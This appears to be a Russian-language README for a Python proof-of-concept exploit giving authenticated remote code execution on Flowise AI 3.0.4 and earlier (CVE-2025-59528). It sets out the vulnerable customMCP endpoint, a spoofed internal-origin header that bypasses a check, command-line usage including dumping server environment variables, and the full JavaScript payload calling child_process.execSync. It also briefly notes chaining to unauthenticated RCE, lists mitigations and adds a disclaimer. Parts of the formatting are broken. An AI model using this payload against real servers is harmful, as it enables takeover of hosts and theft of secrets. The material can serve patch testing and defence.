
Python PoC-эксплойт для CVE-2025-59528, обеспечивающий аутентифицированный RCE на Flowise AI <= 3.0.4 через эндпоинт customMCP и Node.js child_process.execSync.
CVE ID: CVE-2025-59528
Затронутое ПО: Flowise AI
Уязвимые версии: <= 3.0.4
Исправленная версия: 3.0.5 и более поздние
Критичность: Критическая
Автор: arensballiu
Дата: 2025
Flowise AI версий до 3.0.4 включительно позволяют аутентифицированному пользователю добиться удалённого выполнения кода (RCE) на хост-сервере путём отправки специально сформированной полезной нагрузки JavaScript на эндпоинт /api/v1/node-load-method/customMCP.
Метод загрузки узла customMCP принимает контролируемый пользователем ввод, который вычисляется на стороне сервера как JavaScript без должной санитизации или изоляции. Внедрив полезную нагрузку, использующую child_process.execSync из Node.js, злоумышленник может выполнить произвольные команды операционной системы с привилегиями процесса сервера Flowise.
Эндпоинт также требует наличия заголовка .
x-request-from: internal| Эндпоинт | Метод | Требуется аутентификация | Назначение |
|---|---|---|---|
/api/v1/auth/login | POST | Нет | Аутентификация и получение сессии |
/api/v1/node-load-method/customMCP | POST | Да (cookie сессии) | Уязвимый эндпоинт метода загрузки узла |
Файл: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Флаг | Полная форма | Обязательный | Описание |
|---|---|---|---|
-e | --email | Да | Адрес электронной почты аутентифицированного пользователя |
-i | --url | Да | Базовый URL экземпляра Flowise |
-p | --password | Да | Пароль аутентифицированного пользователя |
-c | --cmd | Да | Команда ОС для выполнения на сервере |
Проверка выполнения кода:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Получение переменных окружения сервера:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
Эксплойт внедряет следующее выражение JavaScript в поле mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — загружает встроенный модуль выполнения процессов Node.js.execSync('<command>') — синхронно выполняет команду ОС, предоставленную злоумышленником.Заголовок x-request-from: internal также добавляется к запросу, чтобы пройти проверку внутреннего источника, которая иначе заблокировала бы вызов.
Эндпоинт customMCP передаёт предоставленный пользователем ввод напрямую в контекст вычисления JavaScript на сервере без санитизации или изоляции. В сочетании с неограниченным доступом к основным модулям Node.js (в частности, child_process) через process.mainModule.require это создаёт тривиально эксплуатируемый вектор RCE. Проверка заголовка x-request-from не обеспечивает значимой границы безопасности, поскольку он не проверяется ни с каким доверенным источником.
Эти две уязвимости можно объединить в цепочку для пути атаки с неаутентифицированным RCE против экземпляров Flowise версий <= 3.0.4:
child_process, fs и т. д.) с помощью надлежащей песочницы (например, vm2, изолированные контексты или удаление доступа к process.mainModule).x-request-from через серверный механизм, а не простую проверку строки.Данный proof of concept предоставлен исключительно в образовательных целях и для авторизованных исследований в области безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.